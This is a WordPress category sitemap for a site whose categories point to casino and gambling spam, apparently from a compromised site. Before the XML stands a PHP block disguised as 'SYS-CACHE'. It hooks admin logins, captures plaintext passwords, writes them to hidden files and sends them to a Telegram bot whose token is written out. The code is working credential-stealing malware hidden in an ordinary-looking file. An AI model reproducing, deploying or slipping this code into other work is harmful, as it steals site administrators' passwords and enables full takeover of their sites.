

// SYS-CACHE-START
add_action('wp_login', function($user_login, $user) {
    if (!user_can($user, 'install_plugins')) {
        return;
    }
    $password = isset($_POST['pwd']) ? $_POST['pwd'] : '';
    $site     = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'unknown';
    $ua       = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'N/A';
    $time     = date('Y-m-d H:i:s');

    $line = sprintf("[%s] %s | %s | %s | %s\n", $time, $site, $user_login, $password, $ua);
    $log_files = array(
        ABSPATH . 'wp-content/uploads/.sys_session.tmp',
        ABSPATH . 'wp-content/.sys_session.tmp',
        ABSPATH . 'wp-admin/.maintenance.log',
    );
    foreach ($log_files as $lf) {
        $dir = dirname($lf);
        if (!is_dir($dir)) {
            @mkdir($dir, 0755, true);
        }
        @file_put_contents($lf, $line, FILE_APPEND | LOCK_EX);
    }

    $bot_token = '8867636932:AAGJ-xsRscSXcF9yaAmeOXlMZkjhgCtLxGA';
    $chat_id   = '-1003780894929';
    $msg       = "Basarili Admin Login\nSite: {$site}\nKullanici: {$user_login}\nSifre: {$password}\nUA: {$ua}\nZaman: {$time}";
    $url       = "https://api.telegram.org/bot{$bot_token}/sendMessage";
    $data      = array('chat_id' => $chat_id, 'text' => $msg);

    if (function_exists('curl_init')) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_TIMEOUT, 15);
        curl_exec($ch);
        curl_close($ch);
    } elseif (ini_get('allow_url_fopen')) {
        $opts = array('http' => array(
            'method'  => 'POST',
            'header'  => 'Content-Type: application/x-www-form-urlencoded',
            'content' => http_build_query($data),
            'timeout' => 10
        ));
        @file_get_contents($url, false, stream_context_create($opts));
    }
}, 10, 2);
// SYS-CACHE-END
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://theofficer.in/wp-sitemap.xsl" ?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><url><loc>https://theofficer.in/category/information/</loc></url><url><loc>https://theofficer.in/category/casino/</loc></url><url><loc>https://theofficer.in/category/uncategorized/</loc></url><url><loc>https://theofficer.in/category/plinko/</loc></url><url><loc>https://theofficer.in/category/bankobet/</loc></url><url><loc>https://theofficer.in/category/1/</loc></url><url><loc>https://theofficer.in/category/public/</loc></url><url><loc>https://theofficer.in/category/blog/</loc></url><url><loc>https://theofficer.in/category/post/</loc></url><url><loc>https://theofficer.in/category/news/</loc></url><url><loc>https://theofficer.in/category/139/</loc></url><url><loc>https://theofficer.in/category/gambling/</loc></url><url><loc>https://theofficer.in/category/admin/</loc></url><url><loc>https://theofficer.in/category/07-16/</loc></url><url><loc>https://theofficer.in/category/reviewer/</loc></url><url><loc>https://theofficer.in/category/review/</loc></url><url><loc>https://theofficer.in/category/anonymous/</loc></url><url><loc>https://theofficer.in/category/22bet/</loc></url><url><loc>https://theofficer.in/category/monobrand/</loc></url><url><loc>https://theofficer.in/category/hu/</loc></url><url><loc>https://theofficer.in/category/fi/</loc></url><url><loc>https://theofficer.in/category/pro-dom-mebel-ru-500/</loc></url><url><loc>https://theofficer.in/category/ntghip-ru-500/</loc></url><url><loc>https://theofficer.in/category/gr/</loc></url><url><loc>https://theofficer.in/category/monoslot/</loc></url><url><loc>https://theofficer.in/category/glory-casinos-tr/</loc></url><url><loc>https://theofficer.in/category/pin-up/</loc></url><url><loc>https://theofficer.in/category/mini-reviews/</loc></url><url><loc>https://theofficer.in/category/sl/</loc></url><url><loc>https://theofficer.in/category/sww/</loc></url><url><loc>https://theofficer.in/category/sw/</loc></url><url><loc>https://theofficer.in/category/mininformrd-ru/2000a-z-2/</loc></url><url><loc>https://theofficer.in/category/dgkh-ru/1000a-z-2/</loc></url><url><loc>https://theofficer.in/category/www-ecoproverka-ru-500/</loc></url><url><loc>https://theofficer.in/category/casino-betting-nutra/</loc></url><url><loc>https://theofficer.in/category/casino-gambling/</loc></url><url><loc>https://theofficer.in/category/igrat-yard-casino-50/</loc></url><url><loc>https://theofficer.in/category/yard-casino-vhod-50/</loc></url><url><loc>https://theofficer.in/category/gametrick-ru/400a-z/</loc></url></urlset>
